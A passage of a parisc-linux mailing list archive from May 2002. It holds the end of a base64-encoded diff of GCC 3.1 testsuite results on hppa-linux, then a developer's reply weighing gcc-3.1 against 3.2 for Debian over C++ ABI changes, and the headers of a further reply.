dGVzdA0KIFhQQVNTOiBnKysubWlrZS9laDMzLkMgKHRlc3QgZm9yIGV4Y2VzcyBlcnJvcnMp
DQotRkFJTDogZysrLm1pa2UvZWgzNC5DICBFeGVjdXRpb24gdGVzdA0KLUZBSUw6IGcrKy5t
aWtlL2VoMzUuQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBnKysubWlrZS9laDM2LkMgIEV4
ZWN1dGlvbiB0ZXN0DQotRkFJTDogZysrLm1pa2UvZWgzNy5DICBFeGVjdXRpb24gdGVzdA0K
LUZBSUw6IGcrKy5taWtlL2VoMzguQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBnKysubWlr
ZS9laDM5LkMgIEV4ZWN1dGlvbiB0ZXN0DQotRkFJTDogZysrLm1pa2UvZWg0MC5DICBFeGVj
dXRpb24gdGVzdA0KLUZBSUw6IGcrKy5taWtlL2VoNDEuQyAgRXhlY3V0aW9uIHRlc3QNCi1G
QUlMOiBnKysubWlrZS9laDQyLkMgIEV4ZWN1dGlvbiB0ZXN0DQotRkFJTDogZysrLm1pa2Uv
ZWg0NC5DICBFeGVjdXRpb24gdGVzdA0KLUZBSUw6IGcrKy5taWtlL2VoNDcuQyAgRXhlY3V0
aW9uIHRlc3QNCi1GQUlMOiBnKysubWlrZS9laDQ4LkMgIEV4ZWN1dGlvbiB0ZXN0DQotRkFJ
TDogZysrLm1pa2UvZWg0OS5DICBFeGVjdXRpb24gdGVzdA0KLUZBSUw6IGcrKy5taWtlL2Vo
NS5DICBFeGVjdXRpb24gdGVzdA0KK1hQQVNTOiBnKysubWlrZS9laDMzLkMgIEV4ZWN1dGlv
biB0ZXN0DQogWFBBU1M6IGcrKy5taWtlL2VoNTAuQyAodGVzdCBmb3IgZXhjZXNzIGVycm9y
cykNCi1GQUlMOiBnKysubWlrZS9laDUxLkMgIEV4ZWN1dGlvbiB0ZXN0DQotRkFJTDogZysr
Lm1pa2UvZWg1NS5DICBFeGVjdXRpb24gdGVzdA0KLUZBSUw6IGcrKy5taWtlL2VoNi5DICBF
eGVjdXRpb24gdGVzdA0KLUZBSUw6IGcrKy5taWtlL2VoOC5DICBFeGVjdXRpb24gdGVzdA0K
LUZBSUw6IGcrKy5taWtlL3A3OTEyLkMgIEV4ZWN1dGlvbiB0ZXN0DQotRkFJTDogZysrLm1p
a2UvcDk3MDYuQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBnKysub2xpdmEvZGVsZXRlMy5D
ICBFeGVjdXRpb24gdGVzdA0KLUZBSUw6IGcrKy5vbGl2YS9uZXcxLkMgIEV4ZWN1dGlvbiB0
ZXN0DQotRkFJTDogZysrLm90aGVyL2FycmF5MS5DICBFeGVjdXRpb24gdGVzdA0KLUZBSUw6
IGcrKy5vdGhlci9laDMuQyAgRXhlY3V0aW9uIHRlc3QNCitYUEFTUzogZysrLm1pa2UvZWg1
MC5DICBFeGVjdXRpb24gdGVzdA0KIFhQQVNTOiBnKysub3RoZXIvaW5pdDUuQyAgRXhlY3V0
aW9uIHRlc3QNCi1GQUlMOiBnKysub3RoZXIvaW5pdDcuQyAgRXhlY3V0aW9uIHRlc3QNCi1G
QUlMOiBnKysub3RoZXIvbmV3Ny5DICBFeGVjdXRpb24gdGVzdA0KLUZBSUw6IGcrKy5vdGhl
ci9zaW5nbGV0b24uQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBnKysub3RoZXIvdmJhc2Uy
LkMgIEV4ZWN1dGlvbiB0ZXN0DQotRkFJTDogZysrLnB0L2ZudHJ5MS5DICBFeGVjdXRpb24g
dGVzdA0KLUZBSUw6IGcrKy5yb2JlcnRsL2ViMzEuQyAgRXhlY3V0aW9uIHRlc3QNCi1GQUlM
OiBnKysucm9iZXJ0bC9lYjUwLkMgIEV4ZWN1dGlvbiB0ZXN0DQotRkFJTDogZysrLnJvYmVy
dGwvZWI2Ni5DICBFeGVjdXRpb24gdGVzdA0KLUZBSUw6IGcrKy5yb2JlcnRsL2ViODguQyAg
RXhlY3V0aW9uIHRlc3QNCi1GQUlMOiBnKysucm9iZXJ0bC9laDk5MDMyMy0xLkMgIEV4ZWN1
dGlvbiB0ZXN0DQotRkFJTDogZysrLnJvYmVydGwvZWg5OTAzMjMtMi5DICBFeGVjdXRpb24g
dGVzdA0KLUZBSUw6IGcrKy5yb2JlcnRsL2VoOTkwMzIzLTMuQyAgRXhlY3V0aW9uIHRlc3QN
Ci1GQUlMOiBnKysucm9iZXJ0bC9laDk5MDMyMy00LkMgIEV4ZWN1dGlvbiB0ZXN0DQotRkFJ
TDogZysrLnJvYmVydGwvZWg5OTAzMjMtNS5DICBFeGVjdXRpb24gdGVzdA0KLUZBSUw6IGcr
Ky5yb2JlcnRsL2ljZTk5MDMyMy0yLkMgIEV4ZWN1dGlvbiB0ZXN0DQogDQogCQk9PT0gZysr
IFN1bW1hcnkgPT09DQogDQotIyBvZiBleHBlY3RlZCBwYXNzZXMJCTcwMzgNCi0jIG9mIHVu
ZXhwZWN0ZWQgZmFpbHVyZXMJMTE3DQotIyBvZiB1bmV4cGVjdGVkIHN1Y2Nlc3NlcwkzDQot
IyBvZiBleHBlY3RlZCBmYWlsdXJlcwkJODkNCisjIG9mIGV4cGVjdGVkIHBhc3NlcwkJNzE1
NQ0KKyMgb2YgdW5leHBlY3RlZCBmYWlsdXJlcwkyDQorIyBvZiB1bmV4cGVjdGVkIHN1Y2Nl
c3Nlcwk1DQorIyBvZiBleHBlY3RlZCBmYWlsdXJlcwkJODcNCiAjIG9mIHVudGVzdGVkIHRl
c3RjYXNlcwkJMjMNCiAjIG9mIHVuc3VwcG9ydGVkIHRlc3RzCQk0DQotL2hvbWUvcGFja2Fn
ZXMvZ2NjLzMuMS9nY2MtMy4xLTMuMWRzMC9idWlsZC9nY2MvdGVzdHN1aXRlLy4uL2crKyB2
ZXJzaW9uIDMuMSAyMDAyMDUwMSAoRGViaWFuIHByZXJlbGVhc2UpDQ0KKy9ob21lL3BhY2th
Z2VzL2djYy8zLjEvZ2NjLTMuMS0zLjFkczAvYnVpbGQvZ2NjL3Rlc3RzdWl0ZS8uLi9nKysg
dmVyc2lvbiAzLjEgMjAwMjA1MDMgKERlYmlhbiBwcmVyZWxlYXNlKQ0NCiANCiAJCT09PSBn
NzcgdGVzdHMgPT09DQogDQogDQogUnVubmluZyB0YXJnZXQgdW5peA0KK0ZBSUw6IGc3Ny5m
LXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0wLmYgZXhlY3V0aW9uLCAgLU8wIA0KK0ZBSUw6
IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0wLmYgZXhlY3V0aW9uLCAgLU8xIA0K
K0ZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0wLmYgZXhlY3V0aW9uLCAg
LU8yIA0KK0ZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0wLmYgZXhlY3V0
aW9uLCAgLU8zIC1mb21pdC1mcmFtZS1wb2ludGVyIA0KK0ZBSUw6IGc3Ny5mLXRvcnR1cmUv
ZXhlY3V0ZS8xOTk5MDMxMy0wLmYgZXhlY3V0aW9uLCAgLU8zIC1nIA0KK0ZBSUw6IGc3Ny5m
LXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0wLmYgZXhlY3V0aW9uLCAgLU9zIA0KK0ZBSUw6
IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0xLmYgZXhlY3V0aW9uLCAgLU8wIA0K
K0ZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0xLmYgZXhlY3V0aW9uLCAg
LU8xIA0KK0ZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0xLmYgZXhlY3V0
aW9uLCAgLU8yIA0KK0ZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0xLmYg
ZXhlY3V0aW9uLCAgLU8zIC1mb21pdC1mcmFtZS1wb2ludGVyIA0KK0ZBSUw6IGc3Ny5mLXRv
cnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0xLmYgZXhlY3V0aW9uLCAgLU8zIC1nIA0KK0ZBSUw6
IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0xLmYgZXhlY3V0aW9uLCAgLU9zIA0K
K0ZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0yLmYgZXhlY3V0aW9uLCAg
LU8wIA0KK0ZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0yLmYgZXhlY3V0
aW9uLCAgLU8xIA0KK0ZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0yLmYg
ZXhlY3V0aW9uLCAgLU8yIA0KK0ZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMx
My0yLmYgZXhlY3V0aW9uLCAgLU8zIC1mb21pdC1mcmFtZS1wb2ludGVyIA0KK0ZBSUw6IGc3
Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0yLmYgZXhlY3V0aW9uLCAgLU8zIC1nIA0K
K0ZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0yLmYgZXhlY3V0aW9uLCAg
LU9zIA0KK0ZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0zLmYgZXhlY3V0
aW9uLCAgLU8wIA0KK0ZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0zLmYg
ZXhlY3V0aW9uLCAgLU8xIA0KK0ZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMx
My0zLmYgZXhlY3V0aW9uLCAgLU8yIA0KK0ZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8x
OTk5MDMxMy0zLmYgZXhlY3V0aW9uLCAgLU8zIC1mb21pdC1mcmFtZS1wb2ludGVyIA0KK0ZB
SUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0zLmYgZXhlY3V0aW9uLCAgLU8z
IC1nIA0KK0ZBSUw6IGc3Ny5mLXRvcnR1cmUvZXhlY3V0ZS8xOTk5MDMxMy0zLmYgZXhlY3V0
aW9uLCAgLU9zIA0KIA0KIAkJPT09IGc3NyBTdW1tYXJ5ID09PQ0KIA0KLSMgb2YgZXhwZWN0
ZWQgcGFzc2VzCQkxNDUyDQorIyBvZiBleHBlY3RlZCBwYXNzZXMJCTE0MjgNCisjIG9mIHVu
ZXhwZWN0ZWQgZmFpbHVyZXMJMjQNCiAjIG9mIHVuc3VwcG9ydGVkIHRlc3RzCQk4DQotL2hv
bWUvcGFja2FnZXMvZ2NjLzMuMS9nY2MtMy4xLTMuMWRzMC9idWlsZC9nY2MvdGVzdHN1aXRl
Ly4uL2c3NyB2ZXJzaW9uIDMuMSAyMDAyMDUwMSAoRGViaWFuIHByZXJlbGVhc2UpDQ0KKy9o
b21lL3BhY2thZ2VzL2djYy8zLjEvZ2NjLTMuMS0zLjFkczAvYnVpbGQvZ2NjL3Rlc3RzdWl0
ZS8uLi9nNzcgdmVyc2lvbiAzLjEgMjAwMjA1MDMgKERlYmlhbiBwcmVyZWxlYXNlKQ0NCiAN
CiAJCT09PSBnY2MgdGVzdHMgPT09DQogDQpAQCAtMTY4LDE0ICs4MCw2IEBADQogVU5SRVNP
TFZFRDogZ2NjLmMtdG9ydHVyZS9leGVjdXRlLzIwMDIwMzA3LTIuYyBleGVjdXRpb24sICAt
TzMgLWcgDQogRkFJTDogZ2NjLmMtdG9ydHVyZS9leGVjdXRlLzIwMDIwMzA3LTIuYyBjb21w
aWxhdGlvbiwgIC1PcyANCiBVTlJFU09MVkVEOiBnY2MuYy10b3J0dXJlL2V4ZWN1dGUvMjAw
MjAzMDctMi5jIGV4ZWN1dGlvbiwgIC1PcyANCi1GQUlMOiBnY2MuYy10b3J0dXJlL2V4ZWN1
dGUvYXJpdGgtcmFuZC5jIGV4ZWN1dGlvbiwgIC1PMCANCi1GQUlMOiBnY2MuYy10b3J0dXJl
L2V4ZWN1dGUvYXJpdGgtcmFuZC5jIGV4ZWN1dGlvbiwgIC1PMSANCi1GQUlMOiBnY2MuYy10
b3J0dXJlL2V4ZWN1dGUvYXJpdGgtcmFuZC5jIGV4ZWN1dGlvbiwgIC1PMiANCi1GQUlMOiBn
Y2MuYy10b3J0dXJlL2V4ZWN1dGUvYXJpdGgtcmFuZC5jIGV4ZWN1dGlvbiwgIC1PMyAtZm9t
aXQtZnJhbWUtcG9pbnRlciANCi1GQUlMOiBnY2MuYy10b3J0dXJlL2V4ZWN1dGUvYXJpdGgt
cmFuZC5jIGV4ZWN1dGlvbiwgIC1PMyAtZm9taXQtZnJhbWUtcG9pbnRlciAtZnVucm9sbC1s
b29wcyANCi1GQUlMOiBnY2MuYy10b3J0dXJlL2V4ZWN1dGUvYXJpdGgtcmFuZC5jIGV4ZWN1
dGlvbiwgIC1PMyAtZm9taXQtZnJhbWUtcG9pbnRlciAtZnVucm9sbC1hbGwtbG9vcHMgLWZp
bmxpbmUtZnVuY3Rpb25zIA0KLUZBSUw6IGdjYy5jLXRvcnR1cmUvZXhlY3V0ZS9hcml0aC1y
YW5kLmMgZXhlY3V0aW9uLCAgLU8zIC1nIA0KLUZBSUw6IGdjYy5jLXRvcnR1cmUvZXhlY3V0
ZS9hcml0aC1yYW5kLmMgZXhlY3V0aW9uLCAgLU9zIA0KIEZBSUw6IGdjYy5jLXRvcnR1cmUv
ZXhlY3V0ZS92YS1hcmctMjIuYyBleGVjdXRpb24sICAtTzAgDQogRkFJTDogZ2NjLmMtdG9y
dHVyZS9leGVjdXRlL3ZhLWFyZy0yMi5jIGV4ZWN1dGlvbiwgIC1PMSANCiBGQUlMOiBnY2Mu
Yy10b3J0dXJlL2V4ZWN1dGUvdmEtYXJnLTIyLmMgZXhlY3V0aW9uLCAgLU8yIA0KQEAgLTE4
NCwxOCArODgsMjAgQEANCiBGQUlMOiBnY2MuYy10b3J0dXJlL2V4ZWN1dGUvdmEtYXJnLTIy
LmMgZXhlY3V0aW9uLCAgLU8zIC1mb21pdC1mcmFtZS1wb2ludGVyIC1mdW5yb2xsLWFsbC1s
b29wcyAtZmlubGluZS1mdW5jdGlvbnMgDQogRkFJTDogZ2NjLmMtdG9ydHVyZS9leGVjdXRl
L3ZhLWFyZy0yMi5jIGV4ZWN1dGlvbiwgIC1PMyAtZyANCiBGQUlMOiBnY2MuYy10b3J0dXJl
L2V4ZWN1dGUvdmEtYXJnLTIyLmMgZXhlY3V0aW9uLCAgLU9zIA0KK0ZBSUw6IGdjYy5jLXRv
cnR1cmUvZXhlY3V0ZS9pZWVlL3JidWcuYyBleGVjdXRpb24sICAtTzMgLWZvbWl0LWZyYW1l
LXBvaW50ZXIgDQorRkFJTDogZ2NjLmMtdG9ydHVyZS9leGVjdXRlL2llZWUvcmJ1Zy5jIGV4
ZWN1dGlvbiwgIC1PMyAtZyANCiBGQUlMOiBnY2MuZGcvMjAwMjAzMTItMi5jICh0ZXN0IGZv
ciBleGNlc3MgZXJyb3JzKQ0KIFdBUk5JTkc6IGdjYy5kZy8yMDAyMDMxMi0yLmMgY29tcGls
YXRpb24gZmFpbGVkIHRvIHByb2R1Y2UgZXhlY3V0YWJsZQ0KIEZBSUw6IGdjYy5kZy9hc20t
bmFtZXMuYyAodGVzdCBmb3IgZXhjZXNzIGVycm9ycykNCiANCiAJCT09PSBnY2MgU3VtbWFy
eSA9PT0NCiANCi0jIG9mIGV4cGVjdGVkIHBhc3NlcwkJMTgxODcNCi0jIG9mIHVuZXhwZWN0
ZWQgZmFpbHVyZXMJMjYNCisjIG9mIGV4cGVjdGVkIHBhc3NlcwkJMTgxOTMNCisjIG9mIHVu
ZXhwZWN0ZWQgZmFpbHVyZXMJMjANCiAjIG9mIGV4cGVjdGVkIGZhaWx1cmVzCQk3MA0KICMg
b2YgdW5yZXNvbHZlZCB0ZXN0Y2FzZXMJOA0KICMgb2YgdW5zdXBwb3J0ZWQgdGVzdHMJCTEx
Mw0KLS9ob21lL3BhY2thZ2VzL2djYy8zLjEvZ2NjLTMuMS0zLjFkczAvYnVpbGQvZ2NjL3hn
Y2MgdmVyc2lvbiAzLjEgMjAwMjA1MDEgKERlYmlhbiBwcmVyZWxlYXNlKQ0NCisvaG9tZS9w
YWNrYWdlcy9nY2MvMy4xL2djYy0zLjEtMy4xZHMwL2J1aWxkL2djYy94Z2NjIHZlcnNpb24g
My4xIDIwMDIwNTAzIChEZWJpYW4gcHJlcmVsZWFzZSkNDQogDQogCQk9PT0gb2JqYyB0ZXN0
cyA9PT0NCiANCkBAIC0yMDYsNDEgKzExMiwyNyBAQA0KIA0KICMgb2YgZXhwZWN0ZWQgcGFz
c2VzCQkxMDM2DQogIyBvZiBleHBlY3RlZCBmYWlsdXJlcwkJNg0KLS9ob21lL3BhY2thZ2Vz
L2djYy8zLjEvZ2NjLTMuMS0zLjFkczAvYnVpbGQvZ2NjL3hnY2MgdmVyc2lvbiAzLjEgMjAw
MjA1MDEgKERlYmlhbiBwcmVyZWxlYXNlKQ0NCisvaG9tZS9wYWNrYWdlcy9nY2MvMy4xL2dj
Yy0zLjEtMy4xZHMwL2J1aWxkL2djYy94Z2NjIHZlcnNpb24gMy4xIDIwMDIwNTAzIChEZWJp
YW4gcHJlcmVsZWFzZSkNDQogDQogCQk9PT0gbGlic3RkYysrLXYzIHRlc3RzID09PQ0KIA0K
IA0KIFJ1bm5pbmcgdGFyZ2V0IHVuaXgNCi1GQUlMOiAxOF9zdXBwb3J0L251bWVyaWNfbGlt
aXRzLmNjIGV4ZWN1dGlvbiB0ZXN0DQotRkFJTDogMTlfZGlhZ25vc3RpY3Mvc3RkZXhjZXB0
aW9ucy5jYyBleGVjdXRpb24gdGVzdA0KIEZBSUw6IDIwX3V0aWwvYWxsb2NhdG9yX21lbWJl
cnMuY2MgZXhlY3V0aW9uIHRlc3QNCi1GQUlMOiAyMV9zdHJpbmdzL2FwcGVuZC5jYyBleGVj
dXRpb24gdGVzdA0KLUZBSUw6IDIxX3N0cmluZ3MvY3Rvcl9jb3B5X2R0b3IuY2MgZXhlY3V0
aW9uIHRlc3QNCi1GQUlMOiAyMV9zdHJpbmdzL2VsZW1lbnRfYWNjZXNzLmNjIGV4ZWN1dGlv
biB0ZXN0DQotRkFJTDogMjFfc3RyaW5ncy9pbnNlcnQuY2MgZXhlY3V0aW9uIHRlc3QNCi1G
QUlMOiAyMV9zdHJpbmdzL3N1YnN0ci5jYyBleGVjdXRpb24gdGVzdA0KIEZBSUw6IDIyX2xv
Y2FsZS9jb2RlY3Z0X21lbWJlcnNfY2hhcl9jaGFyLmNjIGV4ZWN1dGlvbiB0ZXN0DQogRkFJ
TDogMjJfbG9jYWxlL2NvZGVjdnRfbWVtYmVyc193Y2hhcl90X2NoYXIuY2MgZXhlY3V0aW9u
IHRlc3QNCiBGQUlMOiAyMl9sb2NhbGUvY3Rvcl9jb3B5X2R0b3IuY2MgZXhlY3V0aW9uIHRl
c3QNCiBGQUlMOiAyMl9sb2NhbGUvY3R5cGVfbWVtYmVyc193Y2hhcl90LmNjIGV4ZWN1dGlv
biB0ZXN0DQotRkFJTDogMjNfY29udGFpbmVycy9iaXRzZXRfY3Rvci5jYyBleGVjdXRpb24g
dGVzdA0KLUZBSUw6IDIzX2NvbnRhaW5lcnMvYml0c2V0X21lbWJlcnMuY2MgZXhlY3V0aW9u
IHRlc3QNCi1GQUlMOiAyM19jb250YWluZXJzL2xpc3RfbW9kaWZpZXJzLmNjIGV4ZWN1dGlv
biB0ZXN0DQotRkFJTDogMjNfY29udGFpbmVycy92ZWN0b3JfZWxlbWVudF9hY2Nlc3MuY2Mg
ZXhlY3V0aW9uIHRlc3QNCiBGQUlMOiAyNl9udW1lcmljcy9jOTlfY2xhc3NpZmljYXRpb25f
bWFjcm9zX2MuY2MgKHRlc3QgZm9yIGV4Y2VzcyBlcnJvcnMpDQotRkFJTDogMjdfaW8vaW9z
X2Jhc2Vfc3RvcmFnZS5jYyBleGVjdXRpb24gdGVzdA0KLUZBSUw6IDI3X2lvL2lvc19pbml0
LmNjIGV4ZWN1dGlvbiB0ZXN0DQotRkFJTDogMjdfaW8vaW9zX21lbWJlcnMuY2MgZXhlY3V0
aW9uIHRlc3QNCiBGQUlMOiAyN19pby9vc3RyZWFtX2luc2VydGVyX2FyaXRoLmNjIGV4ZWN1
dGlvbiB0ZXN0DQogDQogCQk9PT0gbGlic3RkYysrLXYzIFN1bW1hcnkgPT09DQogDQotIyBv
ZiBleHBlY3RlZCBwYXNzZXMJCTM1NA0KLSMgb2YgdW5leHBlY3RlZCBmYWlsdXJlcwkyMQ0K
KyMgb2YgZXhwZWN0ZWQgcGFzc2VzCQkzNjgNCisjIG9mIHVuZXhwZWN0ZWQgZmFpbHVyZXMJ
Nw0KICMgb2YgZXhwZWN0ZWQgZmFpbHVyZXMJCTI1DQogDQotQ29tcGlsZXIgdmVyc2lvbjog
My4xIDIwMDIwNTAxIChEZWJpYW4gcHJlcmVsZWFzZSkgDQorQ29tcGlsZXIgdmVyc2lvbjog
My4xIDIwMDIwNTAzIChEZWJpYW4gcHJlcmVsZWFzZSkgDQogUGxhdGZvcm06IGhwcGEtdW5r
bm93bi1saW51eC1nbnUNCiBjb25maWd1cmUgZmxhZ3M6IC0taG9zdD1ocHBhLWxpbnV4IC12
IC0tZW5hYmxlLWxhbmd1YWdlcz1jLGMrKyxmNzcscHJvdG8sb2JqYyxhZGEgLS1wcmVmaXg9
L3VzciAtLWluZm9kaXI9J1wke3ByZWZpeH0vc2hhcmUvaW5mbycgLS1tYW5kaXI9XCR7cHJl
Zml4fS9zaGFyZS9tYW4gLS13aXRoLWd4eC1pbmNsdWRlLWRpcj0vdXNyL2luY2x1ZGUvZysr
LXYzLTMuMSAtLWVuYWJsZS1zaGFyZWQgLS13aXRoLWdudS1hcyAtLXdpdGgtZ251LWxkIC0t
d2l0aC1zeXN0ZW0temxpYiAtLWVuYWJsZS1sb25nLWxvbmcgLS1lbmFibGUtbmxzIC0td2l0
aG91dC1pbmNsdWRlZC1nZXR0ZXh0IC0tZW5hYmxlLWNsb2NhbGU9Z251IC0tZW5hYmxlLXRo
cmVhZHM9cG9zaXggLS13aXRoLWNwcC1pbnN0YWxsLWRpcj1iaW4NCiBCT09UX0NGTEFHUz0t
TzIg




From - Thu Nov 08 21:22:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: gcc-3.? compiler for hppa (3.1, 3.1+dwarf2, 3.2cvs20020429?)
Date: Sat, 4 May 2002 09:57:40 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20020504165740.GN30370__10557.6464943171$1416621273$gmane$org@tausq.org>
References: <15571.50195.280071.792305@gargle.gargle.HOWL>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621273 6994 80.91.229.3 (22 Nov 2014 01:54:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org
To: Matthias Klose <doko@cs.tu-berlin.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May  4 10:21:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (unknown [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id EE0EA482C
	for <parisc-linux@lists.parisc-linux.org>; Sat,  4 May 2002 10:21:35 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id aercnaaa for parisc-linux@lists.parisc-linux.org; Sat, 4 May 2002 09:20:24 -0700
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id E47F2CD297; Sat,  4 May 2002 09:57:40 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <15571.50195.280071.792305@gargle.gargle.HOWL>
User-Agent: Mutt/1.3.28i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14707

> a) 3.1 as to be released (without dwarf2 support)
> b) 3.1 + dwarf2 support
> c) 3.2 CVS 20020429 plus/minus patches

for woody+1, is it an option to skip 3.1 altogether and go directly to
3.2? from what i understand gcc-3.2 is supposed to be officially 
released in the fall...  (i.e. likely before the next release)

i am concerned that between gcc versions, there are often changes in the
C++ (and maybe others) ABI, and moving all of our packages to the new 
version is likely going to be a painful process. If the g++-3.2 ABI is
already frozen (?) and we move directly to it then we may save ourselves
some trouble with doing the repackaging multiple times.

of course there is also the concern that we want to remain at least
somewhat binary compatible with other distributions...

IMHO, for hppa I think a pure option (a) is not feasible for woody+1. 
The long branch problem by itself is something that I feel needs to 
be addressed as soon as possible. Also I'm eager to have working
exceptions support for c++ :-)

Oh, by the way, when we move woody to gcc-3.[12] as the default, will we
still have gcc-3.0 packages available?

randolph



From - Thu Nov 08 21:22:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.? compiler for hppa (3.1, 3.1+dwarf2, 3.2cvs20020429?)
Date: Sat, 4 May 2002 13:47:37 -0400 (EDT)
Lines: 58
Approved: news@gmane.org
Message-ID: <200205041747.g44Hlc70026886__30823.8520207398$1416621273$gmane$org@hiauly1.hia.nrc.ca>
References: <15571.50195.280071.792305@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621273 6999 80.91.229.3 (22 Nov 2014 01:54:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org
To: doko@cs.tu-berlin.de (Matthias Klose)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May  4 11:47:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 607904830
	for <parisc-linux@lists.parisc-linux.org>; Sat,  4 May 2002 11:47:45 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g44HlfFN026888;
	Sat, 4 May 2002 13:47:42 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g44Hlc70026886;
	Sat, 4 May 2002 13:47:38 -0400 (EDT)
In-Reply-To: <15571.50195.280071.792305@gargle.gargle.HOWL> from "Matthias Klose" at May 4, 2002 01:20:51 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
